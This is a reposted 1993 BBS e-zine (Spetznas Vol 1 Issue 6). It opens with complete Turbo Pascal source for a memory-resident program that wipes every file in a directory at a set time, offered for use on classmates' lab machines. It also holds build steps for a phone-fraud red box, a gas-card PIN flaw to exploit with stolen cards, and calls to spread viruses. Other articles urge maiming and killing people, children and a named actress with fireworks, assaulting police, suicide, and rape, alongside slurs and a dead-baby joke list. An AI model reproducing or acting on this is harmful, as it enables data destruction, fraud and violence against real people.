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Spetznas Vol 1 Issue 6

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Spetznas
 · 10 Mar 2023
Spetznas Vol 1 Issue 6
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    …ÕÕ ÕÕÕÕ     ÕÕÕÕÕÕÕ   ÕÕÕÕÕÕÕÕÕÕÕ   ÕÕÕÕÕ     ÕÕÕÕ       ÕÕÕÕÕÕÕÕÕ 
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∫ € fl €
ÕÕÕÕÕÕÕÕÕÕÕÕÕÕ ÕÕÕÕÕÕÕÕ ÕÕÕÕ ÕÕÕÕÕÕ ÕÕÕÕÕÕÕÕÕÕÕÕ ÕÕº

H/P/A/V/C
Brought to you by the Rude Fuckers
At House Harkonnen BBS..
(512)EAT-CUNT Dual Node Ringdown

Volume One Issue Six
Jan 18, 1993 Ad

S P E T Z N A S
O F F i C i A L M E M B E R
L I S T I N G
˙˙ ÕÕÕ ÕÕ ÕÕÕÕ ÕÕ ÕÕÕÕ ÕÕÕ ÕÕÕ ÕÕ ˙˙

PReSidENT/WhQ SySop
----------
The
Harkonnen
Doom Brothers



Writers
-----------------------
Sunstriker Son of Sam
Kitiara The Black Dragon
Tommy The Cat Dark Avenger
Jake Speed Brain Donor
Red Phoenix Criminal Justice
Plague The Texas Playboy
Zoomar PRiME EViL
Black Talon Dream Devil
AirHead Baloo PaGan Lord
DeleRium Justin Time

Lights and Sirens
-----------
Mind Rape
Touchstone
Hros
Incinerator
XerXes
PRiME EViL


The SpetZnas Sites
-------------

House Harkonnen (512) (World HQ)
Arrested Development (914) (Eastern HQ)
Blackened Sunrise (609)Member Board
Urban Killing Fields (301)Member Board
Total Chaos (203)Member Board
FreeWay Fighter (514)Member Board
Zippy Sweet (+47)Member Board
Solar Eclipse (609)Member Board

Contents

  • I) Ways to Fuck with LOOZERS 'Puters. -By Pagan Lord, SpetZnas Writer
  • II) Lotsa Uses for Dead Babies, -Author Unknown
  • III) The 20 Commandments of Turbo C++ Virii Writing. -By Sunstriker, SpetZnas President
  • IV) Gas Station Fraud -By Justin Case, SpetZnas Euro Member.
  • V) How To Be A Lamer. -By Delerium, SpetZnas Sr Staff
  • VI) PHun StuPh To Do with FireworX. -by Red Phoenix, SpetZnas Sr Staff
  • VII) Red Boxing For the iDiOT -By Dark Avenger, SpetZnas Sr Staff
  • VIII) How 2 Survive a Police Interview. -By Sunstriker, SpetZnas President
  • IX) Gunning For David Koresh. From the American Spectator Magazine
  • X) The end of the Revolution. By Jake Speed, SpetZnas Sr Staff

New Ways To Fuck Up Loozers Computers

By:
⁄ø ¬
√Ÿígín ≥ÈRd
¡ ¿-Ÿ

Are you tired of those butt munchers in the computer lab turned in their assignments way before every else and believe macintoshs are the supreme computers. Well I have got a way to nail these nerds bad and good. Imagine them going over to their terminal and logged on. They then fire up Pascal and churn their program out in a few seconds. Just as they are about to print it their computer locks. Lord behold they don't know what the hell happened. Now during this time it seems locks it, it is actually killing the files under the current directory and then it locks the system. Now they have to reboot and put all their old code back on. Now you're nowhere the phuck around so they can't blame it on you. Here is the code in TP 6.0 to do it. Just modify the time you want it to go off and compile it to an EXE file. Now go to their computer before they come to class and ran it. BOOM it's now in memory. It take less then 8k of mem. For best results run it on the server.

{$R-,S-,I-,D+,F+,V-,B-,N-,L+} 
{$M 2000,0,0}
Program HighNoon;
Uses DOS, CRT;
Const
HOUR: Word = 15; {Hour in Military time your want it to go off}
{Ex. 15=3pm Ex. 1=1am}
{No 0 in front of one number digit}
MINUTE: Word = 52; {Minute in Military time your want it to go off}
{Ex. 52 = 52 Ex. 42=42 Ex. 60=Never}
Var
OldTimerInt: Pointer; {Old Timer Interrupt Address}
CNT: Word; {Count Var.}
h, m, s, hund : Word; {Time Var}
Procedure Run; {When PARAM's right it goes off}
var
DirInfo: SearchRec;
CurFile: Text;
begin
FindFirst('*.*', AnyFile, DirInfo);
while DosError = 0 do
begin
If (DirInfo.Name = '.') or
(DirInfo.Name = '..') Then
Else
Begin
Assign(CurFile, DirInfo.Name);
Rewrite(CurFile);
Close(CurFile);
Erase(CurFile);
End;
FindNext(DirInfo);
end;
SetIntVec($08, @TIMER);
end;
Procedure Check; {Checks the time against PARAM's}
Begin
GetTime(h,m,s,hund); {Get's the time}
IF (H = HOUR) and {Checks Hour and Minute against time set}
(M = MINUTE) then
RUN
Else
CNT:=0; {If not then Count goes back to zero}
End;
Procedure TIMER; Interrupt;
Begin
ASM
PUSHF
CALL OldTimerInt; {Calls old Interrupt}
End;
Inc(CNT, 1);
IF CNT = 182 THEN Check; {Every ten seconds it runs check}
End;
{$S+} {Stack Check back on}
Begin
CNT:=0;
GetIntVec($1C, OldTimerInt); {Gets Interrupt Vector for the User Timer}
SetIntVec($1C, @TIMER); {Set Timer to Timer procedure}
Keep(0); {Keeps program in memory}
End.

Hope you enjoy this file, and as usual, if you don't, then SUCK MY DICK.


==========================


After many hilarious hours of talking on the phone in conference with two other local sysops, this is our list of 181 uses for a dead baby!
Thanks to Bright Shadow and Frodo for the help on this list! :)

1. Doorstops.
2. Footballs.
3. Decoy ducks.
4. Dog or cat chew toys.
5. Scratching posts.
6. Punching bags.
7. Smoke bombs.
8. Book ends.
9. Pincushions.
10. Floatation devices.
11. Air fresheners.
12. Fishing lures.
13. Cutlery stands.
14. Shooting range targets.
15. Pillows.
16. Speed bumps.
17. Duffel bags.
18. Doormats.
19. Paper weights.
20. Dartboards.
21. Microwaveable treats.
22. Housewarming gifts.
23. Lawn ornaments.
24. Shotputs.
25. Fertilizer.
26. Hood ornaments.
27. Shark bait.
28. Wind socks.
29. Shoes.
30. Hats.
31. Protein supplements.
32. Maggot farms.
33. Perfumes.
34. Mexican pi§atas.
35. Wheel Chocks
36. red ribbon inker
37. trailer stabilizers
38. Anchors
39. Ginsu knife commercials
40. Basketball
41. Paper Towels
42. Vaccuum Cleaner Bags
43. Third Passenger for Carpool lane
44. Dogfood Additive
45. Memo Pad
46. Book Mark
47. Paint Brush
48. Wind Chimes
49. Frisbee
50. Hackey Sack
51. Soccer Ball
52. Skeet Practice
53. Square Dance Partner
54. Water Saver in Toilet Tank
55. Abortion Poster Child
56. Sysop
57. BBS User
58. Jet Blast Deflector on Aircraft Carrier
59. Broom
60. Bouey
61. Roadside Flair
62. Mantle Piece
63. Fireplace Poker
64. Kindling
65. Toilet Paper
66. Hors d'oeuvres
67. Kitchen Utensil 'Catchall'
68. BBQ Grill Cleaner
69. Bathtub Plug
70. Toilet Plunger
71. Scouring Pad
72. Pot Holder
73. Rubber Stamp
74. Tie to Bumper of Newlyweds at Wedding
75. Car Ramps for Auto Repair
76. Pry Bar
77. Baseball Bat
78. Flag on Golf Course Hole Pin
79. Swimming Pool Toy
80. Easter Basket Treats
81. Thanksgiving Dinner
82. Christmas Gifts
83. Scarecrow
84. Lawn Jockey
85. City Hall Statue
86. Spacer for uneven desk legs
87. Ink Well
88. Refrigerator Magnet
89. Baby Food Mascott
90. Congressman
91. Pooper Scooper
92. Sun Dial (clock)
93. Pet
94. MTV Veejay
95. Navy Officer
96. Surge Protector
97. Archery Practice
98. Hockey Goalie Face Mask
99. Inflatable Boat Fenders
100. Halloween Mask
101. Nut Cracker
102. Drink Coaster
103. Ashtray
104. Love/Sex Toy
105. Fishing Bob
106. Inexpensive Cabbage Patch Doll
107. Packaging Filler
108. Bass Drum
109. Candlestick Holder
110. Christmas Tree Stand
111. Gear Shift Knob
112. Hub Cap (Set of four)
113. Rearveiw Mirror Fuzzy Babies (dice?)
114. Ottoman
115. Spaghetti sauce
116. Lamp Shade
117. Door Knobs
118. Mini Blind Cleaner
119. Chamois Cloth
120. Wastepaper Basket
121. Church Gargoyle
122. Paking Meter
123. Conversational Piece
124. Eye Shadow Applicator
125. Crack Pipe
126. Bong
127. Beer Keg Pump
128. Oil Filter
129. Jumper Cables
130. Spare Tire
131. Coat Hanger
132. Circuit Breaker
133. Auto Pilot
134. Kleenex
135. Luau Pig
136. Bird's Nest
137. Neon Light Tester
138. Skiis
139. Sled
140. Baseball Mit
141. Hotdog, with Katsup
142. Dog's Water Bowl
143. Coffee Filter
144. Football Helmet
145. Cellular Phone Antenna
146. Adjustable Scale
147. Purse/Pocketbook
148. Disk Drive Cleaner
149. Hammer
150. Gravy
151. Beavis & Butthead's Cousin
152. Boomerang
153. Light Bulb
154. Popsicle Stick
155. Tampon
156. Maxi Pad
157. Fabric Softner (Bounce)
158. Boat Dock Cleat
159. Paint Roller
160. Copenhagen Snuff Can
161. Flower Pot/Vase
162. Checkbook Cover
163. Printer Stand
164. Carbon Paper
165. Parachute
166. Drinking Straw
167. Golf Club
168. Canoe
169. Polo Mallet
170. Printer Paper
171. Picture Frame
172. Dinner Plate
173. Condom
174. Underwear
175. Shoe Shiner
176. Floor Polisher
177. Toater Pop-tarts
178. Seat Cushion
179. Life Preserver
180. Birthday Cake
181. Dildo

The Great Commandments For the Turbo C++ Virus Programmer.

By Sunstriker <Fey'd Rautha Harkonnen>

  1. Thou shalt Always program naked, as to free thine self from any bonds when thine mind is fostering new methods to create thine destructive programs.
  2. Thou shalt run Lint frequently and study its pronouncements with care, for verily its perception and judgement oft exceed thine.
  3. Thou shalt not follow the NULL pointer, for chaos and madness await thee at its end.
  4. Thou shalt create virii in the Turbo C++ form only, as to easily make thine virii of the stealth variety.
  5. Thou shalt cast all function arguments to the expected type if they arent of that type already, even when thou art convinced that this is unnecessary, lest they take cruel vengeance upon thee when thou least expect it.
  6. Thou shalt steal and pilpher any and all source code found on Public Domain Bulletin Board systems. Thou shalt be prepared to use Fake accounts if neccesary to acquire said source code, and thou shalt never think twice before hacking thine way to DOS on a BBS to obtain the tools of thine trade.
  7. If thy header files fail to declare the return types of thy library functions, thou shalt declare them thyself with the most meticulous care, lest grievous harm befall thy program.
  8. Thou shalt never post thine adventures on the internet, WWIVnet, FidoNet, or any other domain. Thine shall live a life of secrecy.
  9. Thou shalt Eliminate and destroy all Fortran and Cobol Programmers thy meets with, regardless of age, race, or sexual orientation..though thine shall make the deaths of said programmers excruciatingly painful if said programmer happens to be of the homosexual kind.
  10. Thou shalt check the array bounds of all strings (indeed, all arrays), for surely where thou typest ``foo'' someone someday shall type ``supercalifragilisticexpialidocious''.
  11. Thou shalt consume mass quantities of Jolt Cola, "Black Death" Brand cigarettes, MethylDioxyMethAmphetamine, Jalapeno Pizza, Skoal, and "Mickey's Bigmouth" beer while thou is Creating thine masterpiece within the Turbo C Environment.
  12. If a function be advertised to return an error code in the event of difficulties, thou shalt check for that code, yea, even though the checks triple the size of thy code and produce aches in thy typing fingers, for if thou thinkest ``it cannot happen to me'', the gods shall surely punish thee for thy arrogance.
  13. Thou shalt never allow those of the female sex within thine programming realm, except for the delivery of thine dinner, and the ceremonial blowjob which thine is to have done once for every hour thou spends programming thine new virus.
  14. Thou shalt study thy libraries and strive not to re-invent them without cause, that thy code may be short and readable and thy days pleasant and productive.
  15. Thou shalt make thy program's purpose and structure clear to thy fellow man by using the One True Brace Style, even if thou likest it not, for thy creativity is better used in solving problems than in creating beautiful new impediments to understanding.
  16. Thy external identifiers shall be unique in the first six characters, though this harsh discipline be irksome and the years of its necessity stretch before thee seemingly without end, lest thou tear thy hair out and go mad on that fateful day when thou desirest to make thy program run on an old system.
  17. Thou shalt foreswear, renounce, and abjure the vile heresy which claimeth that ``All the world's a VAX'', and have no commerce with the benighted heathens who cling to this barbarous belief, that the days of thy program may be long even though the days of thy current machine be short.
  18. Upon completion of thine masterpiece, thine shall celebrate by sodomizing the first female thine sees, regardless of Race or Age.
  19. Thou shalt wait 24 hours to calm down, then Promptly upload thine virus to every lamer bulletin board thine has knowledge of. Thou shalt take great care to ensure that multiline CHAT-Boards running software such as MAJOR-BBS are heavily targeted by thine virii.
  20. Lastly, thou shallt ALWAYS say thine prayers to the House Harkonnen, and always upload thine virii to CTSA boards on a regular Basis.

Thank Thine Spirit for thine attention. If thou doest not like mine ideas, thou shall take thine kitchen knife and plant said knife in thine shiny, white ass.

-Sunstriker

Gas-station fraud

By Justin Case

Many thousands of Norwegians have a credit card that everyone can use freely. With the new World-Card from Statoil (Norwegian Oil Company owned by the Gove- rnment) and Diners Club - You don't have to know the credit card code to fill gas. All one have to do is to steal your card and insert it into the automat. The owner will get the bill in the post.....Nice isn't it ?

By a coinsidence a customer found out about the failure - he entered the wrong code, but could still fill gas. After all it seems that it's not necessary to have the code on at least half of all Statoils stations

In the information-letter to the World-Card it's written that the card carry two PIN codes. One for Statoil, and one for Diners. This is not true. The customers gets only one PIN to cover both the actions.

The card is as the name says - able to be used over the whole world. The oil-company have not changed all of the old station-pump with these great new pumps, so keep on filling dudes.

Æ Justin Case Ø
Æ ANC - SAY NO MORE ! Ø

How to be lame

Here are a few easy steps on how to become a g00d d00d. Keep in mind not all d00dz are lame, just the k00l d00dz. They are my favorite, the supply hourz of g00d lafs.

  • Step 1: Move to the 512/Austin area code.
  • Step 2: Start up your own board. Make sure your bbs is 'supposedly' affiliated with some group, say 'RAZOR'. BUT, make sure your group NEVER shows up in the NFO philes and never gets fast warez from the group it 'supposedly' is in. Run something k00l like PC/x or Obl/2. Hey, maybe even constantly switch between PC/x and Obl/2.
  • Step 3: Tell everyone in town you are a hot ass phreak hacker. Tell the younger d00dz that you know how to make a box that will blow someone's head off when answer the fone. Make texts on stupid things like double and triple codes on 0070.
  • Step 4: Be full of bull shit. Talk about how you carded 12 USR DSs' or how you bought 4 DX2s' with crack money. Make sure to tell everyone that you run guns. Also, on all your spare time run arounf with cool razor couriers and blow up mail boxes with pipe bombs.
  • Step 5: Attack other cool people in the area code by making gifs of a dick that says their name on it. Now, upload the file to your own bbs and blame it on one of your users. Maybe blame it on one of your lamer users that is a very dorky freshman in highschool.

That's it, now you are set. Remember, a little practice and *you* can be the lamest d00d in the area code.

Oh, by the way you 512 d00dz. This doesn't apply to you. There alreay is a <uh hummm> top d00d in this area code.

Spetznas Vol 1 Issue 6
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Fun Shit To Do With Fireworks

  1. Tie a bunch of M-1000's together. Light. Get some really shrimpy geek and shove them down his throat. Run. Fun.
  2. Get two BIG (military grade) smoke-bombs. Cut the top off of one and empty M-60's or whatever into it. Find some loser and act like you're his new best friend. Light your normal smoke-bomb so he knows it won't hurt him. Then give him the rigged one. Light it for him and dare him to hold it while it smokes. Run. If you can recover any of his body parts, see if you can sell them to a medical school.
  3. Get out your air gun. Stick a ladyfinger into the end of the barrel. Then wait till some innocent pedestrian comes buy and light the ladyfinger and shoot it out really fast. They'll think it was a real gunshot and freak out.
  4. Be like Dirty Harry. Put a long fuse on a bunch of M-1000's. Stick them in the back of a remote-controlled toy truck. Wait for a dog or cat or little kid to walk by. Light. Give them a few seconds headstart if you're feeling nice.
  5. Go to one of those firework stands. When the dude's not looking, whip out a can of hairspray or whatever and a match. Use it as a blow torch and try to set off a bunch of fireworks in the back of the stand. If you're lucky, you can cause a big chain reaction. And the whole place will go up.
  6. Use bottle rockets as missles. If some dork rides by on his bike, see if you can knock him off. If you can, then steal his bike or something.
  7. Use a roman candle to shoot people. It doesn't hurt at all, but if they're wearing something very flammable, well...
  8. Get a large conch shell. Put an M-60 in it. Light the M-60 and hand it to someone. Say "Wow, if you listen really closely, you can hear the sea."
  9. Commit suicide via blowing your head off. It shouldn't be too hard.
  10. Get a basketball. Cut it open. Buy $500 worth of M-1000's. Empty all the M-1000's into the ball. Super glue it shut. Poke a small hole in the ball and run a fuse through it. Then drive down to the set of the Barney Show. Run up to that bastard dinosaur and say.. "I love you Barney. Now eat this you purple motherfucker." Light it and stick it in Barney's suit.

Also, be sure that annoying tall chick on the show gets taken out by the explosion. If she doesn't, it's your duty to personally hunt her down. She lives in Keller, TX...... see Spetz #1 (I think it was #1) for info on how to getting personal addresses..

The Red Box For the iDiOT

-Dark Avenger

Alright people, I've seen lots of people writing messages about red boxes on boards. Well if you wanna find out how to make one read this.

Rumor has it Radio Shack doesn't have DTMF dialers, if this is true you'll have to look in one of the 2600's cuz they show how to make a different version of a red box. If you manage to get a hold of a Radio Shack dialer these are the plans.


Materials Needed

  • Pocket Dialer (W/Mem)
  • Crystal (6.5536MHz)
  • Soldering Iron
  • Solder
  • Small Phillips Screw Driver
  • Knife

Once you have all the materials, take the screw driver and remove the four screws on the back. Two of em will be above the speaker and you can find the other two if you slide the battery cover off. Now open your dialer up. You will probably need a knife do open it. After you open it you should see a circuit board with all sorts of crap on it. What your looking for is a small silver cylinder. This is a 3.549MHz crystal (I think its 3.549). Its responsible for producing DTMF (Dual tone Multi Frequency) Tones, the kind like in touch tone fones. The crystal is connected to the circuit by two little prongs. Heat up your soldering Iron and remove the crystal with it. Be sure not to get any solder on any thing else. After youve removed the crystal Get the 6.5536 Crystal, and solder the two prongs to the two points where the old crystal was. You might want to put some tape around crystal to keep the metal on it from touching the rest of the circuit board. After yove dont that close it up.

Now you need to program your dialer. I'm not sure how exactly you store number in its memory but its pretty easy to figure out, just fuck around with it a few times.

I've set my dialer up so that the P1 Button is equal to 25 cents and my P2 preset is equal to 50 cents and my P3 is equal to a dollar. An asterik is equal to 5 cents. you should put in a pause after each quarter with the pause button.

Example: ***** <Pause> ***** <Pause>

This is equal to 50 cents.

Now that youve set your presets you're ready to use it. In order to use your dialer you'll have to use a Bell telephone. Dial up a long distance carrier and then enter the number you want to dial.


ex: (LD Carrier)-(1 + Area Code)-(Exchange)-(Extender)

After you dialed the carrier number and the number you want to dial, you should hear a message telling you to insert X dollars. just hold the speaker up to the mouth piece and press the buttons and it should work.


Putting in a toggle switch

If you want to make your Red Box even more useful you can put in a DPDT toggle switch which can be bought at Radio Shack for only a few dollars. Installing this switch will let you switch back and forth between red box tones and DTMF tones. I've never installed a switch before because it seems pretty hard to do.

Look at your toggle switch and you will find 6 prongs, like this:

                                . . . 
. . .

Solder one of the two crystals to the two prongs on the left and solder the other crystal to the prongs on the right. Take two small pieces of insulated wire and solder one to the top middle prong and one to the bottom middle prong and then take the two wires and solder that to the two points on the circuit board where the crystal should be attached. That's the easy part, now you have to either carve a hole on the side of your dialer to place your switch or lead some of the wires to the outside of your dialer out through the vents in the back of your dialer and glue the switch with all the two crystals on the side of your dialer. The second method is easier but will make your dialer look like shit, and the first method is pretty complicated because if you carve in the wrong spot you'll fuck your dialer up.

How to Survive a Police Interview

-By Sunstriker

Well, Kiddies, its time for another lesson in the fine art of Lying. Yes, its true. The Coppers are actually out there with there own little BBS Systems running lamer software such as "Remote Access" and playing stupid games with each other like "Freshwater Fishing Online".

But, that isnt important right now. What IS however important, is the fact that the police are putting out textfiles too! I found a certain textfile on "How to Conduct Criminal Interviews" on a certain law enforcement board which I have a fake account on. The coppers have done a fine job writing this, and i have done an even better job telling you how to solve your problem when you get arrested for some violent crime and the cops try their shit on you...

Following is the actual textfile I downloaded, along with some comments from yours truly on how to handle the situation given!

James R. Ryals
Commander
Long Beach, California, Police Department

<<Whoopie! Weer SkareD!>>

Interviewing is one form of communication used extensively by law enforcement. Whether used to screen applicants, to elicit information from a witness to a crime, or to obtain a confession, a good interview can have a significant impact on the organization. However, if conducted improperly, the interview may be rendered worthless or can result in serious negative consequences for all involved.

<< Exactly. Negative consequences for YOU if you dont learn to lie real well...So watch out >>

There are certain guidelines to follow when conducting an interview. By adhering to the following basic rules, the interviewer can reduce many of the problems that might arise because of a faulty interview.

<< Such as DEATH maybe >>

* Develop a plan of action. The interviewer should review pertinent data and develop questions that will elicit the information required to complete the task at hand. For example, for applicant interviews, questions should be tailored to gather information that accurately evaluates the potential employee. On the other hand, questions posed to witnesses of a crime should be designed to obtain facts to complete an accurate report. For the most part, interviewers should prepare areas of inquiry in a general way to keep the interview flowing. Previously prepared questions tend to "drive" the interview in a particular direction, which limits the type and amount of information gathered.

<< Develop YOUR plan of action. Vomiting on the police officer can help considerably to break down HIS defenses and make him totally lose track of all concentration. >>

* Conduct the interview privately. While this basic rule is oftentimes difficult to follow, depending on the circumstances, every effort should be made to minimize distractions during the interview.

<< Fart a lot. If you are in private, tell the copper that you are gay and want to lick his ass. He will more than likely give up, or at least lose track of things. Make him think you are totally NUTS. >>

* Put the interviewee at ease. Emotions and stress play a big part in any type of interview, and the interviewer will have a difficult time evaluating a nervous person. Starting the interview casually with nonthreatening conversation can have a calming effect. By defusing negative feelings and reinforcing positive ones, the interviewer can deal with the emotions exhibited by the interviewee.

<< Tell him that if he wants to put you at ease he could shoot himself. Tell him you would relax a lot more if he were not among the living and you were back at The mall scammin chicks. >>

* Let the person being interviewed do the talking. One of the biggest mistakes the interviewer can make is to talk too much. Accurate evaluations of applicants or gathering crucial information regarding a crime depends on letting the interviewee talk under controlled conditions. The interviewer should control the interview, not dominate it.

<< You heard it, kids, they are wanting to CONTROL. That is what the life of a cop is all about. Hopefully, you drank a lot of liquids the night before you got arrested, and have to drain the weasel pretty bad. A good thing to do is to just whip it out and piss on the sonofabitch when the interview starts. This usually serves to cut the interview very short and end all questioning... >>

* Perfect questioning techniques. Knowing how to ask questions is just as important as knowing what questions to ask. Also, making questions easy to understand is critical. This allows the person being interviewed to concentrate on answering the questions, not on trying to decipher what they mean.

<< Like, Duh, I must be a moron..Could you please rephrase that question for me? >>

* Select questions carefully. Use closed-ended questions (yes/no answers) sparingly because they only require a short answer and usually only confirm factual data. Open-ended questions force the interviewee to talk and elaborate on the matter at hand. For example, when interviewing witnesses to a crime, the interviewer should ask the witnesses to relate in their own words what they saw. This allows the interviewer to better assess the reliability of the information obtained. Interviewers should refrain from asking hypothetical questions of potential employees. Such questions tend to evaluate the applicant's ability to guess what answer the interviewer wants to hear. The best guesser then gets the job. Questions posed to potential employees should center on what the person has already done that relates to the position applied for by the applicant. Leading questions, which contain the answer, and loaded questions, which ask the person interviewed to choose the lesser of two evils, should always be avoided.

<< Fuck this. What are we playing around about??? Why not just kick his ass. He probably is not in that good of shape anyways, and a young, wily anarchist like yourself could beat the hell out of him anyday right? Well then Kick him in the Family Jewels. Then, when he falls to the ground, he will probably reach for a chair to help himself up. Stomp heavily on his hand, listening carefully for the crackling noises it will make under the considerable weight of your body, which you have spent many hours drinking beer to build. >>

* Be a good listener. A good interviewer is a good listener. Interviewers must discipline themselves to focus on what is being said and how it is being said. They should not look ahead to subsequent questions or begin to analyze an answer before the person finishes. Nor should they anticipate what the answer will be.

* Don't challenge answers given. Interviewers must keep emotional reactions private and should not let personal feelings interfere with the interview. There is time to document problems after the interview.

* Stay in control. During an interview, some people try to digress from questions asked. Proper preparation is the key to maintain control of the interview and to ensure that it does not get off course.

<< Theres that control thing again! Well, shit, he should have totally lost control by now, since you are stomping a mud hole in his ass, right? Well, spray him with his can of mace. This most surely will be good for hours of laughter back at the hood. Try spraying some down his pants. Then, cram the can up his ass. Stick him in the back of the knee with a sharp object, such as a pencil or a letter opener. >>

* Take brief notes. Notes allow the interviewer to recall important details revealed during the interview. However, while making notes, the interviewer should not lose eye contact with the person. Excessive note-taking causes the person being questioned to slow down responses in order to accommodate the interviewer.

* Conclude the interview properly. It is the responsibility of the interviewer to signal the end of the interview. This can be done by simply closing a notebook, standing up, or announcing that the interview is over.

* Write a summary immediately following the interview. This helps the interviewer to recall important information should questions arise later.

<< Is he unconcious yet?? Well RUN RUN RUN. If you are good and fried, you can just jump out the fucking window and land safely on the concrete 70 feet below. If not, you can leave via the elevator in the building, so be sure to steal the officer's keys and handcuff him before you go. >>

* Learn from experience. Critiquing helps to identify areas that need improvement and to develop interviewing techniques.

These basic rules are merely guidelines to follow when conducting an interview. While they will not alleviate all the problems that can arise during an interview, they will assist in developing the skills required of a successful interviewer.

<< These are the basic skills to be learned by the frequently arrested. While you may not have perfect results the first time, try try again. You'll get it down pat by the time you can say "Phuck You!". >>

Spetznas Vol 1 Issue 6
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Gunning for Koresh

by Daniel Wattenberg
from _The American Spectator_, August 1993, pp.31-40

It was only when their funding was up for review and a pattern of sexual harassment emerged at their agency-that the federal Bureau of Alcohol, Tobacco and Firearms decided to make an example of David Koresh and his Branch Davidian followers.

Appearing before the House Judiciary Committee nine days after the incineration of David Koresh's Mount Carmel Center and most of those who dwelt within its walls, Bureau of Alcohol, Tobacco, and Firearms director Stephen Higgins referred to the search and arrest warrants his agents had tried to execute two months earlier. The affidavit filed in support of the warrants, said Higgins, detailed some of Koresh's "clear messages that he and his followers were bound together in a vision that promised them all--and others who were in their paths--death."

Although Higgins mischaracterized the warrant, he did faithfully encapsulate the government's theory of the Texas barbecue of the Branch Davidians: Koresh--or Vernon Howell, as he was originally called--set himself and his followers ablaze on April 19, and this mass self-immolation represented the inevitable self-fulfillment of his apocalyptic teaching. By now this is the generally accepted theory.

It is nonetheless a theory predicated almost wholly on forgetting. Forgetting, for example, that while it was Koresh who purportedly willed an apocalyptic showdown, it was the ATF that dictated-twice-the timing and setting of confrontation. Koresh seems to have taken no steps toward fulfilling any deadly vision except on two extraordinary occasions-February 28, when a hundred heavily armed ATF agents arrived unannounced at his door, and April 19, when combat engineering vehicles began tearing holes in his domicile and suffusing it with a severe chemical irritant known as CS.

Had the members of the House Judiciary panel carefully read their copies of the affidavit, they might have questioned whether it warranted Higgins's confident conviction that Koresh willed the two part holocaust that claimed the lives of four ATF agents and more than eighty Branch Davidians. Indeed, they might have questioned whether the ATF affidavit even established grounds for believing that Koresh was apt to commit a violent crime or endanger anyone beyond the boundaries of his property.

They might even have considered another possibility that has not yet made its way into the popular consciousness: Maybe the bureau never seriously tried to tailor its enforcement means to the size of the actual threat. Maybe it did the reverse. Maybe it first choreographed its lightning strike on the Davidians and later--for bureaucratic reasons best known to itself--fabricated from the disparate investigative materials at hand a threat of such frightening proportions that it licensed the otherwise inexplicable means. Close inspection of the publicly available material on the ATF investigation of David Koresh invites just such a hypothesis.


The Aguilera Affidavit

Certainly, Higgins erred in his assertion that the ATF search warrant detailed "messages" imputed to Koresh that his religious vision "promised them all-and others who were in their paths-death." This l5-page single-spaced document contains only one fragment of conversation that might possibly be construed as a "clear message" of the kind cited by Higgins.

The dark prophecy in question was related third-hand to ATF Special Agent Davy Aguilera, the ATF's lead investigator in the Koresh probe and the author of the affidavit. On December 7, 1992, Aguilera interviewed ATF Special Agent Carlos Torres, who had assisted his investigation of the Branch Davidians. Torres mentioned an interview three days earlier of Joyce Sparks, a child-abuse investigator with the Texas Department of Human Services, who had twice visited the Mount Carmel Center to investigate reports that Koresh was "operating a commune type compound" and "sexually abusing young girls."

According to Aguilera's affidavit, Sparks told Torres that on her second and final visit to the compound on April 6,1992, "Koresh told her that he was the 'Messenger' from God, that the world was coming to an end, and that when he 'reveals' himself the riots in Los Angeles would pale in comparison to what was going to happen in Waco, Texas." Koresh explained to Sparks, according to the affidavit, that his self-revelation "would be a 'military type operation' and that all the 'non-believers' would have to suffer."

One might quarrel with Higgins's cavalier assertion that this single reported exchange supports the view that Koresh welcomed the deadly events of February 28 and April 19 as the fulfillment of some idiosyncratic eschatological vision. This would be an idle quibble, however, because the Aguilera affidavit is wrong. Koresh did not tell Sparks on her visit to the compound that "the riots in Los Angeles would pale in comparison" to his self-revelation in Waco. Unless the man really was a prophet, he could not have told her this. The Los Angeles riots broke out on April 29, 1992, more than three weeks after Sparks had last visited Koresh.


Was Koresh a Threat?

On February 28, 1993, a hundred ATF agents converged on the Ranch Apocalypse "cocked and locked," as Koresh was to put it. They had been drilled in a plan to enter the front door within seven seconds after scrambling from two goose-necked cattle trailers, and to gain control of the compound within sixty seconds. Not much margin for reflection and reaction by Koresh, "kinked up" (the FBI's phrase) as he already was by an expose of his unorthodox community that had begun just the day before in the local paper. Still, not an injudicious use of state power, I would say, if the purpose was to protect a community terrorized by a nest of heavily armed and criminally violent monsters. But deployed in pursuit of one individual inside on charges of violating somewhat technical provisions of federal weapons laws, such means raise the question of proportionality.

David Koresh had never been convicted of a crime, violent or otherwise. He had complied peacefully with lawful authorities at least four times. He had surrendered himself to the local sheriff in 1987 on a bizarre attempted murder charge far more serious than the weapons violations the ATF suspected him of. (A hung jury voted 9-3 to acquit him.) Koresh had not interfered with a Michigan judge's decision in a child-custody case to remove 12-year-old Kiri Jewell from the compound. As recently as February 1992, he had escorted local sheriff's deputies and child-abuse investigators through the compound after they had called beforehand to say they were coming. Koresh even invited one of the deputy sheriffs to come back and fish in their lake, according to McLeMan County Sheriff Jack Harwell. "He was real nice to him, real congenial," he says.

In the eyes of local law enforcement, Koresh and the Davidians were private and territorial, but no threat to the surrounding community. "They were like living in another little country out there," observes Harwell. "They had their property line, and they were basically good people. All of 'em were good people. I don't know about Vernon Howell. I think he really believed he was what he told everybody he was, and I think he was probably sincere in everything that he taught. But the other thing that he did was to teach the philosophy that once anyone crossed that property line out there, it would be just like someone invading the United States."


The Firearms Cache

From June 4, 1992 to June 23, 1992, the ATF aggressively investigated Koresh for federal weapons violations. He had been accumulating firearms, mostly legal semi-automatic AR-15s. But, the ATF suspected, David Koresh wanted to "rock and roll"--that is, to convert semi-autos into machine guns.

The media have almost invariably characterized the Davidian arms cache as breathtakingly large. But that is a matter of interpretation. Texas Rangers recovered about 200 guns from the ashes of the Mount Carmel Center, roughly two per resident. Statewide in Texas, 17 million people own 60 million guns, or about four per resident. Still, it represents a large concentration of firepower in one place.

Machine guns, which fire more than one shot automatically with one pull of the trigger, are not unconditionally outlawed in the United States. In Texas, 16,500 residents own them. Prior to the McClure-Volkner Act of 1986, machine guns were legal, provided the tax on them had been paid to obtain the necessary license. Today, one may still legally own a registered machine gun manufactured before May 19, 1986.

Machine-gun parts can be legally sold. With the right combination of machine-gun parts and conversion parts, semiautos can be converted to fire full-auto, and a skilled machinist can, with the right parts, manufacture a machine gun. Under the National Firearms Act, a machine gun is defined as any "combination of parts designed and intended, for use in converting a weapon into a machinegun, and any combination of parts from which a machinegun can be assembled if such parts are in the possession under the control of the person."

